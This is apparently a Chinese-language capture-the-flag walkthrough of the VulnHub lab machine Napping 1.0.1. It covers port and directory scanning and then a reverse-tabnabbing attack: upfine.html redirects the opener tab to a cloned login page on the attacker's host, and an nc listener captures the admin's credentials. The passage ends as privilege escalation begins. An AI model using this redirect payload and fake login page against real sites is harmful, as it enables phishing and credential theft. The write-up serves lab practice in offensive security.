准备:
攻击机:虚拟机kali、本机win10 。
靶机:NAPPING: 1.0.1,地址我这里设置的桥接,,下载地址:https://download.vulnhub.com/napping/napping-1.0.1.ova.torrent,下载后直接VirtualBox打开 , 如果使用vm打开可能会存在ip问题 。
涉及的知识点:vim提权、Tabnabbing漏洞利用、shell反弹 。
文章插图
信息收集:
先扫描以下网段内的主机ip,获取下靶机的ip地址:nmap 192.168.1.0/24 。
文章插图
使用nmap扫描靶机开放端口对应的具体服务信息,命令:nmap -T4 -sV -p- -A 192.168.1.4 。
文章插图
使用目录扫描工具对目录进行扫描,这里使用的是dirmap , 命令:python dirmap.py -i http://192.168.1.4/ -lcf , 发现index.php、config.php等文件,但是config.php显示是空白 。
文章插图
靶机开放了80端口 , 请求下:http://192.168.1.4/,查看下web端,发现是一个登录界面,进行了简单的注入测试,但是未成功,那就先注册一个:admin/admin123进行登录 。
文章插图
注册登录之后的界面:
文章插图
这里告诉我们可以发送自定义链接并且这个链接会被管理员检查,我们先发送一个https://www.baidu.com/进行提交测试,发现会生成一个指向百度的超链接并且在其代码中发现a标签中只有target=_blank,而没有使用rel="noopener/noreferrer"属性,因此这里可能存在Tabnabbing漏洞(钓鱼攻击) 。
文章插图
漏洞攻击:
关于漏洞的利用原理,这里用一个图说明以下,这里的超链接B就是我们输入要提交的链接 , 界面C是靶机80端口的登录界面,这样我们才可以诱导管理员账户登录我们伪造的界面,获取到管理员的账户信息 。
文章插图
首先制作恶意界面upfine.html , 代码信息:
<!DOCTYPE html><html><body><script>if(window.opener) window.opener.parent.location.replace('http://192.168.1.12:6688/get_info.html');if(window.opener!= window) window.opener.parent.location.replace('http://192.168.1.12::6688/get_info.html');</script></body></html>
然后退出登录在登录界面检查源代码信息并进行复制,生成get_info.html , 代码信息如下:<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><title>Login</title><link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"><style>body{ font: 14px sans-serif; }.wrapper{ width: 360px; padding: 20px; }</style></head><body><div class="wrapper"><h2>Login</h2><p>Please fill in your credentials to login.</p><form action="/index.php" method="post"><div class="form-group"><label>Username</label><input type="text" name="username" class="form-control " value=""><span class="invalid-feedback"></span></div><div class="form-group"><label>Password</label><input type="password" name="password" class="form-control "><span class="invalid-feedback"></span></div><div class="form-group"><input type="submit" class="btn btn-primary" value="https://www.huyubaike.com/biancheng/Login"></div><p>Don't have an account? <a href="https://www.huyubaike.com/biancheng/register.php">Sign up now</a>.</p></form></div></body></html>
然后将制作的upfine.html页面和get_info.html页面放入到kali中的一个目录下并开启web服务:python -m http.server 80,同时开启对6688端口的监听:nc -lvvp 6688,然后将http://192.168.1.12/upfine.html地址进行提交,监听窗口成功获得账户名和密码(%40是@):daniel/C@ughtm3napping123 。文章插图
ssh远程登录:
获得账户密码之后采用xshell进行远程登录 。
文章插图
提权:
ssh登录查看id时发现其属于administrators组,因此查一下此用户组下可以运行的程序,命令:find / -group administrators 2>/dev/null,发现/home/adrian/query.py文件 。